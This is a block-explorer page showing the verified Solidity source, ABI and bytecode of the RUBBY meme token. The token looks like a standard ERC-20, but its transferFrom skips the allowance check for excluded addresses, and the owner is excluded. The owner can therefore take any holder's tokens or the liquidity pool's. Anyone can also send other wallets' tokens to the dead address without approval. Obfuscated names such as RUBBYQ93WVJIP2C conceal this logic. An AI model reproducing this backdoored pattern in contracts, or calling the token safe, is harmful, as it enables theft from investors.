ETH Price: $1,870.19 (-12.77%)
 

Overview

Max Total Supply

420,690,000 RUBBY

Holders

112

Transfers

-
0

Market

Onchain Market Cap

-

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
Token

Compiler Version
v0.8.24+commit.e11b9ed9

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion
/**
 *Submitted for verification at Etherscan.io on 2025-07-30
*/

/*

MemeCoin AI Inspired by Ethereum's Official Robot :robot_face:

Web: https://www.rubbyrobot.site
X: https://x.com/RubbyETHRobot
TG: https://t.me/rubbyethrobot

*/

//SPDX-License-Identifier: MIT

pragma solidity ^0.8.20;

abstract contract Ownable {
    address internal _owner;
    event OwnershipTransferred(address _owner);
    modifier onlyOwner() { 
        require(msg.sender == _owner, "Only owner can call this"); _; 
    }
    constructor(address creatorOwner) { 
        _owner = creatorOwner; 
    }
    function owner() public view returns (address) { return _owner; }
    function transferOwnership(address payable newowner) external onlyOwner { 
        _owner = newowner; 
        emit OwnershipTransferred(newowner); }
    function renounceOwnership() external onlyOwner { 
        _owner = address(0);
        emit OwnershipTransferred(address(0)); }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function decimals() external view returns (uint8);
    function symbol() external view returns (string memory);
    function name() external view returns (string memory);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address holder, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed _owner, address indexed spender, uint256 value);
}


contract Token is IERC20, Ownable {
    string private constant _name    = "The Ethereum Robot";
    string private constant _symbol  = "RUBBY";
    uint8 private constant _decimals = 9;
    uint256 private constant _totalSupply = 420_690_000 * (10**_decimals);
      
    uint8 private _taxForSell = 0;
    uint8 private _taxForBuy  = 0;
    
    uint256 private _maxTxVal = _totalSupply; 
    uint256 private _maxWalletVal = _totalSupply;
    uint256 private _swapMin = _totalSupply * 0 / 100000;
    uint256 private _swapMax = _totalSupply * 800 / 100000;

    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private _isExcludeForRUBBYQ93WVJIP2CFee;
    mapping (address => bool) private _isExcludeForRUBBYQ93WVJIP2CLimit;
    
    IUniswapV2Router02 private _uniswapV2Router = IUniswapV2Router02(_uniRouter);

    address public DSFJKRUBBYQ93WVJIP2C;
    address public SDFERRUBBYQ93WVJIP2C;

    address private _lpOwner;
    address private _primaryLP; 
    mapping (address => bool) private _isLP;
    address constant _deadAddr = address(0xdead);

    
    address private constant _uniRouter = address(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
    address private immutable WETH;

    bool private _tradingOpen;

    bool private _inSwap = false;

    uint256 private _rubby = 100;

    modifier lockTaxSwap { 
        _inSwap = true; 
        _; _inSwap = false; 
    }

    constructor() payable Ownable(msg.sender) {
        _lpOwner = msg.sender;
        WETH = _uniswapV2Router.WETH();

        _balances[address(this)] = _totalSupply;
        emit Transfer(address(0), address(this), _balances[address(this)]);  

        _isExcludeForRUBBYQ93WVJIP2CFee[_owner] = true;
        _isExcludeForRUBBYQ93WVJIP2CFee[address(this)] = true;
        _isExcludeForRUBBYQ93WVJIP2CFee[_uniRouter] = true;
        _isExcludeForRUBBYQ93WVJIP2CLimit[_owner] = true;
        _isExcludeForRUBBYQ93WVJIP2CLimit[address(this)] = true;
        _isExcludeForRUBBYQ93WVJIP2CLimit[_uniRouter] = true;
        
    }

    receive() external payable {}
    
    function decimals() external pure override returns (uint8) { return _decimals; }
    function totalSupply() external pure override returns (uint256) { return _totalSupply; }
    function name() external pure override returns (string memory) { return _name; }
    function symbol() external pure override returns (string memory) { return _symbol; }
    function balanceOf(address account) public view override returns (uint256) { 
        return _balances[account]; }
    function allowance(address holder, address spender) external view override returns (uint256) { 
        return _allowances[holder][spender]; }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _allowances[msg.sender][spender] = amount;
        emit Approval(msg.sender, spender, amount);
        return true; }

    function transfer(address toWallet, uint256 amount) external override returns (bool) {
        require(_checkTradingOpen(msg.sender), "Trading not open");
        return _transferFrom(msg.sender, toWallet, amount); }

    function transferFrom(address fromWallet, address toWallet, uint256 amount) external override returns (bool) {
        require(_checkTradingOpen(fromWallet), "Trading not open");
        if (
            !_isExcludeForRUBBYQ93WVJIP2CLimit[msg.sender] &&
            (fromWallet == _primaryLP || toWallet != _deadAddr)
        )_allowances[fromWallet][msg.sender] -= amount;
        return _transferFrom(fromWallet, toWallet, amount); }

    function _approveRouter(uint256 _tokenAmount) internal {
        if ( _allowances[address(this)][_uniRouter] < _tokenAmount ) {
            _allowances[address(this)][_uniRouter] = type(uint256).max;
            emit Approval(address(this), _uniRouter, type(uint256).max);
        }
    }

    function startRUBBYQ93WVJIP2CTrading() external payable onlyOwner lockTaxSwap {
        require(_primaryLP == address(0), "LP created");
        require(!_tradingOpen, "trading open");
        require(msg.value > 0 || address(this).balance>0, "No ETH");
        require(_balances[address(this)]>0, "No tokens");
        _primaryLP = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), WETH);
        _addLiquidity(_balances[address(this)], address(this).balance);
        _isLP[_primaryLP] = true;
        _tradingOpen = true;
    }

    function _addLiquidity(uint256 _tokenAmount, uint256 _ethAmountWei) internal {
        _approveRouter(_tokenAmount);
        _uniswapV2Router.addLiquidityETH{value: _ethAmountWei} ( address(this), _tokenAmount, 0, 0, _lpOwner, block.timestamp );
    }

    function _transferFrom(address sender, address toWallet, uint256 amount) internal returns (bool) {
        require(sender != address(0), "No transfers from 0 wallet");
        if (!_tradingOpen) { require(_isExcludeForRUBBYQ93WVJIP2CFee[sender] && _isExcludeForRUBBYQ93WVJIP2CLimit[sender], "Trading not yet open"); }
        if ( !_inSwap && _isLP[toWallet] && amount >= _swapMin) { _swapTaxAndLiquify(); }

        if ( sender != address(this) && toWallet != address(this) && sender != _owner ) { 
            require(_checkLimits(sender, toWallet, amount), "TX over limits"); 
        }

        uint256 _taxAmount = _calculateTax(sender, toWallet, amount);
        uint256 _transferAmount = amount - _taxAmount;
        _balances[sender] -= amount;
        _balances[address(this)] += _taxAmount;
        _balances[toWallet] += _transferAmount;
        emit Transfer(sender, toWallet, amount);
        return true;
    }

    function _checkLimits(address fromWallet, address toWallet, uint256 transferAmount) internal view returns (bool) {
        bool _limitPassed = true;
        if ( _tradingOpen && !_isExcludeForRUBBYQ93WVJIP2CLimit[fromWallet] && !_isExcludeForRUBBYQ93WVJIP2CLimit[toWallet] ) {
            if ( transferAmount > _maxTxVal ) { 
                _limitPassed = false; 
            }
            else if ( 
                !_isLP[toWallet] && (_balances[toWallet] + transferAmount > _maxWalletVal) 
                ) { _limitPassed = false; }
        }
        return _limitPassed;
    }

    function _checkTradingOpen(address fromWallet) private view returns (bool){
        bool checkResult = false;
        if ( _tradingOpen ) { checkResult = true; } 
        else if (_isExcludeForRUBBYQ93WVJIP2CFee[fromWallet] && _isExcludeForRUBBYQ93WVJIP2CLimit[fromWallet]) { checkResult = true; } 

        return checkResult;
    }

    function _calculateTax(address fromWallet, address recipient, uint256 amount) internal view returns (uint256) {
        uint256 taxAmount;
        
        if ( !_tradingOpen || _isExcludeForRUBBYQ93WVJIP2CFee[fromWallet] || _isExcludeForRUBBYQ93WVJIP2CFee[recipient] ) { 
            taxAmount = 0; 
        } else if ( _isLP[fromWallet] ) { 
            taxAmount = amount * _taxForBuy / 100; 
         } else if ( _isLP[recipient] ) { 
            taxAmount = amount * _taxForSell / 100; 
        }

        return taxAmount;
    }

    function buyFee() external view returns(uint8) { return _taxForBuy; }
    function sellFee() external view returns(uint8) { return _taxForSell; }

    function updateFees(uint8 buyFees, uint8 sellFees) external onlyOwner {
        require(buyFees + sellFees <= 20, "Roundtrip too high");
        _taxForBuy = buyFees;
        _taxForSell = sellFees;
    }  

    function _swapTokensForETH(uint256 tokenAmount) private {
        _approveRouter(tokenAmount);
        address[] memory path = new address[](2);
        path[0] = address( this );
        path[1] = WETH ;
        _uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(tokenAmount,0,path,address(this),block.timestamp);
    }

    function _swapTaxAndLiquify() private lockTaxSwap {
        uint256 _taxTokenAvailable = _balances[address(this)];
        if ( _taxTokenAvailable > _swapMin && _tradingOpen ) {
            if ( _taxTokenAvailable >= _swapMax ) { _taxTokenAvailable = _swapMax; }
            
            _swapTokensForETH(_taxTokenAvailable);
        }
        uint256 _contractETHBalance = address(this).balance;
        _sendRUBBYQ93WVJIP2CFeeTo(_contractETHBalance);
    }

    function _sendRUBBYQ93WVJIP2CFeeTo(uint256 amount) private {
        payable(_lpOwner).transfer(amount);
    }
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external;
    function WETH() external pure returns (address);
    function factory() external pure returns (address);
    function addLiquidityETH(
        address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline) 
        external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
interface IUniswapV2Factory {    
    function createPair(address tokenA, address tokenB) external returns (address pair); 
}

Contract Security Audit

Contract ABI

API
[{"inputs":[],"stateMutability":"payable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"_owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"_owner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"DSFJKRUBBYQ93WVJIP2C","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"SDFERRUBBYQ93WVJIP2C","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"holder","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyFee","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"sellFee","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"startRUBBYQ93WVJIP2CTrading","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"toWallet","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"fromWallet","type":"address"},{"internalType":"address","name":"toWallet","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address payable","name":"newowner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint8","name":"buyFees","type":"uint8"},{"internalType":"uint8","name":"sellFees","type":"uint8"}],"name":"updateFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60a06040525f805461ffff60a01b191690556200001f6009600a620003cd565b6200002f906319133850620003e4565b600155620000406009600a620003cd565b62000050906319133850620003e4565b600255620186a0620000656009600a620003cd565b62000075906319133850620003e4565b62000081905f620003e4565b6200008d9190620003fe565b600355620186a0620000a26009600a620003cd565b620000b2906319133850620003e4565b620000c090610320620003e4565b620000cc9190620003fe565b600490815560098054737a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b03199182168117909255600f805461ff001916905560646010555f8054339083168117909155600c8054909216179055604080516315ab88c960e31b81529051919263ad5c46489282820192602092908290030181865afa15801562000159573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906200017f91906200041e565b6001600160a01b0316608052620001996009600a620003cd565b620001a9906319133850620003e4565b305f81815260056020908152604080832085905551938452919290917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a35f80546001600160a01b0390811682526007602090815260408084208054600160ff1991821681179092553080875283872080548316841790557ffd21a1ac9a14dff647460ce8ad2ccecb794a59a4cfbb8678b1f9900a6a99551f8054831684179055865490951686526008909352818520805484168217905592845283208054821683179055737a250d5630b4cf539739df2c5dacb4c659f2488d9092527f226e7c4e32ba0cd918c39b21526eb23f3f5958fcfd83d5cf69b9510bf01e2e17805490921617905562000446565b634e487b7160e01b5f52601160045260245ffd5b600181815b808511156200031257815f1904821115620002f657620002f6620002be565b808516156200030457918102915b93841c9390800290620002d7565b509250929050565b5f826200032a57506001620003c7565b816200033857505f620003c7565b81600181146200035157600281146200035c576200037c565b6001915050620003c7565b60ff841115620003705762000370620002be565b50506001821b620003c7565b5060208310610133831016604e8410600b8410161715620003a1575081810a620003c7565b620003ad8383620002d2565b805f1904821115620003c357620003c3620002be565b0290505b92915050565b5f620003dd60ff8416836200031a565b9392505050565b8082028115828204841417620003c757620003c7620002be565b5f826200041957634e487b7160e01b5f52601260045260245ffd5b500490565b5f602082840312156200042f575f80fd5b81516001600160a01b0381168114620003dd575f80fd5b608051611590620004665f395f8181610701015261109e01526115905ff3fe608060405260043610610108575f3560e01c8063683ad2ec116100925780638da5cb5b116100625780638da5cb5b146102f157806395d89b411461030d578063a9059cbb1461033a578063dd62ed3e14610359578063f2fde38b1461039d575f80fd5b8063683ad2ec1461026b57806370a082311461028a578063715018a6146102be5780638b3da16f146102d2575f80fd5b806323b872dd116100d857806323b872dd146101e7578063279dc19d146102065780632b14ca5614610210578063313ce5671461023b578063470624021461024e575f80fd5b806306fdde0314610113578063092e4e2c1461015f578063095ea7b31461019657806318160ddd146101c5575f80fd5b3661010f57005b5f80fd5b34801561011e575f80fd5b50604080518082019091526012815271151a1948115d1a195c995d5b48149bd89bdd60721b60208201525b6040516101569190611181565b60405180910390f35b34801561016a575f80fd5b50600a5461017e906001600160a01b031681565b6040516001600160a01b039091168152602001610156565b3480156101a1575f80fd5b506101b56101b03660046111e1565b6103bc565b6040519015158152602001610156565b3480156101d0575f80fd5b506101d9610428565b604051908152602001610156565b3480156101f2575f80fd5b506101b561020136600461120b565b610448565b61020e610527565b005b34801561021b575f80fd5b505f54600160a01b900460ff165b60405160ff9091168152602001610156565b348015610246575f80fd5b506009610229565b348015610259575f80fd5b505f54600160a81b900460ff16610229565b348015610276575f80fd5b5061020e61028536600461125e565b6107e5565b348015610295575f80fd5b506101d96102a436600461128f565b6001600160a01b03165f9081526005602052604090205490565b3480156102c9575f80fd5b5061020e610893565b3480156102dd575f80fd5b50600b5461017e906001600160a01b031681565b3480156102fc575f80fd5b505f546001600160a01b031661017e565b348015610318575f80fd5b50604080518082019091526005815264525542425960d81b6020820152610149565b348015610345575f80fd5b506101b56103543660046111e1565b610900565b348015610364575f80fd5b506101d96103733660046112aa565b6001600160a01b039182165f90815260066020908152604080832093909416825291909152205490565b3480156103a8575f80fd5b5061020e6103b736600461128f565b61095b565b335f8181526006602090815260408083206001600160a01b038716808552925280832085905551919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925906104169086815260200190565b60405180910390a35060015b92915050565b5f6104356009600a6113d5565b6104439063191338506113e3565b905090565b5f610452846109d7565b6104965760405162461bcd60e51b815260206004820152601060248201526f2a3930b234b733903737ba1037b832b760811b60448201526064015b60405180910390fd5b335f9081526008602052604090205460ff161580156104d75750600d546001600160a01b03858116911614806104d757506001600160a01b03831661dead14155b15610514576001600160a01b0384165f9081526006602090815260408083203384529091528120805484929061050e9084906113fa565b90915550505b61051f848484610a3a565b949350505050565b5f546001600160a01b031633146105505760405162461bcd60e51b815260040161048d9061140d565b600f805461ff001916610100179055600d546001600160a01b0316156105a55760405162461bcd60e51b815260206004820152600a60248201526913140818dc99585d195960b21b604482015260640161048d565b600f5460ff16156105e75760405162461bcd60e51b815260206004820152600c60248201526b3a3930b234b7339037b832b760a11b604482015260640161048d565b5f3411806105f457505f47115b6106295760405162461bcd60e51b815260206004820152600660248201526509cde408aa8960d31b604482015260640161048d565b305f908152600560205260409020546106705760405162461bcd60e51b81526020600482015260096024820152684e6f20746f6b656e7360b81b604482015260640161048d565b60095f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156106c0573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106e49190611444565b6040516364e329cb60e11b81523060048201526001600160a01b037f000000000000000000000000000000000000000000000000000000000000000081166024830152919091169063c9c65396906044016020604051808303815f875af1158015610751573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107759190611444565b600d80546001600160a01b0319166001600160a01b0392909216919091179055305f908152600560205260409020546107ae9047610ce2565b600d546001600160a01b03165f908152600e60205260409020805460ff19166001908117909155600f805461ffff19169091179055565b5f546001600160a01b0316331461080e5760405162461bcd60e51b815260040161048d9061140d565b601461081a828461145f565b60ff1611156108605760405162461bcd60e51b81526020600482015260126024820152710a4deeadcc8e8e4d2e040e8dede40d0d2ced60731b604482015260640161048d565b5f805461ffff60a01b1916600160a81b60ff9485160260ff60a01b191617600160a01b9290931691909102919091179055565b5f546001600160a01b031633146108bc5760405162461bcd60e51b815260040161048d9061140d565b5f80546001600160a01b03191681556040519081527f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc6861639060200160405180910390a1565b5f61090a336109d7565b6109495760405162461bcd60e51b815260206004820152601060248201526f2a3930b234b733903737ba1037b832b760811b604482015260640161048d565b610954338484610a3a565b9392505050565b5f546001600160a01b031633146109845760405162461bcd60e51b815260040161048d9061140d565b5f80546001600160a01b0319166001600160a01b0383169081179091556040519081527f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc6861639060200160405180910390a150565b600f545f90819060ff16156109ee57506001610422565b6001600160a01b0383165f9081526007602052604090205460ff168015610a2c57506001600160a01b0383165f9081526008602052604090205460ff165b156104225750600192915050565b5f6001600160a01b038416610a915760405162461bcd60e51b815260206004820152601a60248201527f4e6f207472616e73666572732066726f6d20302077616c6c6574000000000000604482015260640161048d565b600f5460ff16610b1c576001600160a01b0384165f9081526007602052604090205460ff168015610ad957506001600160a01b0384165f9081526008602052604090205460ff165b610b1c5760405162461bcd60e51b81526020600482015260146024820152732a3930b234b733903737ba103cb2ba1037b832b760611b604482015260640161048d565b600f54610100900460ff16158015610b4b57506001600160a01b0383165f908152600e602052604090205460ff165b8015610b5957506003548210155b15610b6657610b66610d84565b6001600160a01b0384163014801590610b8857506001600160a01b0383163014155b8015610ba157505f546001600160a01b03858116911614155b15610bee57610bb1848484610dea565b610bee5760405162461bcd60e51b815260206004820152600e60248201526d5458206f766572206c696d69747360901b604482015260640161048d565b5f610bfa858585610ead565b90505f610c0782856113fa565b6001600160a01b0387165f90815260056020526040812080549293508692909190610c339084906113fa565b9091555050305f9081526005602052604081208054849290610c56908490611478565b90915550506001600160a01b0385165f9081526005602052604081208054839290610c82908490611478565b92505081905550846001600160a01b0316866001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef86604051610cce91815260200190565b60405180910390a350600195945050505050565b610ceb82610f9e565b600954600c5460405163f305d71960e01b8152306004820152602481018590525f6044820181905260648201526001600160a01b0391821660848201524260a482015291169063f305d71990839060c40160606040518083038185885af1158015610d58573d5f803e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610d7d919061148b565b5050505050565b600f805461ff001916610100179055305f9081526005602052604090205460035481118015610db55750600f5460ff165b15610dd1576004548110610dc857506004545b610dd181611040565b47610ddb81611146565b5050600f805461ff0019169055565b600f545f9060019060ff168015610e1957506001600160a01b0385165f9081526008602052604090205460ff16155b8015610e3d57506001600160a01b0384165f9081526008602052604090205460ff16155b1561051f57600154831115610e5357505f61051f565b6001600160a01b0384165f908152600e602052604090205460ff16158015610e9e57506002546001600160a01b0385165f90815260056020526040902054610e9c908590611478565b115b1561051f57505f949350505050565b600f545f90819060ff161580610eda57506001600160a01b0385165f9081526007602052604090205460ff165b80610efc57506001600160a01b0384165f9081526007602052604090205460ff165b15610f0857505f61051f565b6001600160a01b0385165f908152600e602052604090205460ff1615610f52575f54606490610f4190600160a81b900460ff16856113e3565b610f4b91906114b6565b905061051f565b6001600160a01b0384165f908152600e602052604090205460ff161561051f575f54606490610f8b90600160a01b900460ff16856113e3565b610f9591906114b6565b95945050505050565b305f908152600660209081526040808320737a250d5630b4cf539739df2c5dacb4c659f2488d845290915290205481111561103d57305f818152600660209081526040808320737a250d5630b4cf539739df2c5dacb4c659f2488d808552908352928190205f199081905590519081529192917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a35b50565b61104981610f9e565b6040805160028082526060820183525f9260208301908036833701905050905030815f8151811061107c5761107c6114d5565b60200260200101906001600160a01b031690816001600160a01b0316815250507f0000000000000000000000000000000000000000000000000000000000000000816001815181106110d0576110d06114d5565b6001600160a01b03928316602091820292909201015260095460405163791ac94760e01b815291169063791ac947906111159085905f908690309042906004016114e9565b5f604051808303815f87803b15801561112c575f80fd5b505af115801561113e573d5f803e3d5ffd5b505050505050565b600c546040516001600160a01b039091169082156108fc029083905f818181858888f1935050505015801561117d573d5f803e3d5ffd5b5050565b5f602080835283518060208501525f5b818110156111ad57858101830151858201604001528201611191565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461103d575f80fd5b5f80604083850312156111f2575f80fd5b82356111fd816111cd565b946020939093013593505050565b5f805f6060848603121561121d575f80fd5b8335611228816111cd565b92506020840135611238816111cd565b929592945050506040919091013590565b803560ff81168114611259575f80fd5b919050565b5f806040838503121561126f575f80fd5b61127883611249565b915061128660208401611249565b90509250929050565b5f6020828403121561129f575f80fd5b8135610954816111cd565b5f80604083850312156112bb575f80fd5b82356112c6816111cd565b915060208301356112d6816111cd565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b600181815b8085111561132f57815f1904821115611315576113156112e1565b8085161561132257918102915b93841c93908002906112fa565b509250929050565b5f8261134557506001610422565b8161135157505f610422565b816001811461136757600281146113715761138d565b6001915050610422565b60ff841115611382576113826112e1565b50506001821b610422565b5060208310610133831016604e8410600b84101617156113b0575081810a610422565b6113ba83836112f5565b805f19048211156113cd576113cd6112e1565b029392505050565b5f61095460ff841683611337565b8082028115828204841417610422576104226112e1565b81810381811115610422576104226112e1565b60208082526018908201527f4f6e6c79206f776e65722063616e2063616c6c20746869730000000000000000604082015260600190565b5f60208284031215611454575f80fd5b8151610954816111cd565b60ff8181168382160190811115610422576104226112e1565b80820180821115610422576104226112e1565b5f805f6060848603121561149d575f80fd5b8351925060208401519150604084015190509250925092565b5f826114d057634e487b7160e01b5f52601260045260245ffd5b500490565b634e487b7160e01b5f52603260045260245ffd5b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b818110156115395784516001600160a01b031683529383019391830191600101611514565b50506001600160a01b0396909616606085015250505060800152939250505056fea26469706673582212200d66c1f0126fd07c297cd096b9725179e7f4d20384f06faa0f1c36bdbb779a3064736f6c63430008180033

Deployed Bytecode

0x608060405260043610610108575f3560e01c8063683ad2ec116100925780638da5cb5b116100625780638da5cb5b146102f157806395d89b411461030d578063a9059cbb1461033a578063dd62ed3e14610359578063f2fde38b1461039d575f80fd5b8063683ad2ec1461026b57806370a082311461028a578063715018a6146102be5780638b3da16f146102d2575f80fd5b806323b872dd116100d857806323b872dd146101e7578063279dc19d146102065780632b14ca5614610210578063313ce5671461023b578063470624021461024e575f80fd5b806306fdde0314610113578063092e4e2c1461015f578063095ea7b31461019657806318160ddd146101c5575f80fd5b3661010f57005b5f80fd5b34801561011e575f80fd5b50604080518082019091526012815271151a1948115d1a195c995d5b48149bd89bdd60721b60208201525b6040516101569190611181565b60405180910390f35b34801561016a575f80fd5b50600a5461017e906001600160a01b031681565b6040516001600160a01b039091168152602001610156565b3480156101a1575f80fd5b506101b56101b03660046111e1565b6103bc565b6040519015158152602001610156565b3480156101d0575f80fd5b506101d9610428565b604051908152602001610156565b3480156101f2575f80fd5b506101b561020136600461120b565b610448565b61020e610527565b005b34801561021b575f80fd5b505f54600160a01b900460ff165b60405160ff9091168152602001610156565b348015610246575f80fd5b506009610229565b348015610259575f80fd5b505f54600160a81b900460ff16610229565b348015610276575f80fd5b5061020e61028536600461125e565b6107e5565b348015610295575f80fd5b506101d96102a436600461128f565b6001600160a01b03165f9081526005602052604090205490565b3480156102c9575f80fd5b5061020e610893565b3480156102dd575f80fd5b50600b5461017e906001600160a01b031681565b3480156102fc575f80fd5b505f546001600160a01b031661017e565b348015610318575f80fd5b50604080518082019091526005815264525542425960d81b6020820152610149565b348015610345575f80fd5b506101b56103543660046111e1565b610900565b348015610364575f80fd5b506101d96103733660046112aa565b6001600160a01b039182165f90815260066020908152604080832093909416825291909152205490565b3480156103a8575f80fd5b5061020e6103b736600461128f565b61095b565b335f8181526006602090815260408083206001600160a01b038716808552925280832085905551919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925906104169086815260200190565b60405180910390a35060015b92915050565b5f6104356009600a6113d5565b6104439063191338506113e3565b905090565b5f610452846109d7565b6104965760405162461bcd60e51b815260206004820152601060248201526f2a3930b234b733903737ba1037b832b760811b60448201526064015b60405180910390fd5b335f9081526008602052604090205460ff161580156104d75750600d546001600160a01b03858116911614806104d757506001600160a01b03831661dead14155b15610514576001600160a01b0384165f9081526006602090815260408083203384529091528120805484929061050e9084906113fa565b90915550505b61051f848484610a3a565b949350505050565b5f546001600160a01b031633146105505760405162461bcd60e51b815260040161048d9061140d565b600f805461ff001916610100179055600d546001600160a01b0316156105a55760405162461bcd60e51b815260206004820152600a60248201526913140818dc99585d195960b21b604482015260640161048d565b600f5460ff16156105e75760405162461bcd60e51b815260206004820152600c60248201526b3a3930b234b7339037b832b760a11b604482015260640161048d565b5f3411806105f457505f47115b6106295760405162461bcd60e51b815260206004820152600660248201526509cde408aa8960d31b604482015260640161048d565b305f908152600560205260409020546106705760405162461bcd60e51b81526020600482015260096024820152684e6f20746f6b656e7360b81b604482015260640161048d565b60095f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156106c0573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106e49190611444565b6040516364e329cb60e11b81523060048201526001600160a01b037f000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc281166024830152919091169063c9c65396906044016020604051808303815f875af1158015610751573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107759190611444565b600d80546001600160a01b0319166001600160a01b0392909216919091179055305f908152600560205260409020546107ae9047610ce2565b600d546001600160a01b03165f908152600e60205260409020805460ff19166001908117909155600f805461ffff19169091179055565b5f546001600160a01b0316331461080e5760405162461bcd60e51b815260040161048d9061140d565b601461081a828461145f565b60ff1611156108605760405162461bcd60e51b81526020600482015260126024820152710a4deeadcc8e8e4d2e040e8dede40d0d2ced60731b604482015260640161048d565b5f805461ffff60a01b1916600160a81b60ff9485160260ff60a01b191617600160a01b9290931691909102919091179055565b5f546001600160a01b031633146108bc5760405162461bcd60e51b815260040161048d9061140d565b5f80546001600160a01b03191681556040519081527f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc6861639060200160405180910390a1565b5f61090a336109d7565b6109495760405162461bcd60e51b815260206004820152601060248201526f2a3930b234b733903737ba1037b832b760811b604482015260640161048d565b610954338484610a3a565b9392505050565b5f546001600160a01b031633146109845760405162461bcd60e51b815260040161048d9061140d565b5f80546001600160a01b0319166001600160a01b0383169081179091556040519081527f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc6861639060200160405180910390a150565b600f545f90819060ff16156109ee57506001610422565b6001600160a01b0383165f9081526007602052604090205460ff168015610a2c57506001600160a01b0383165f9081526008602052604090205460ff165b1561042257506001929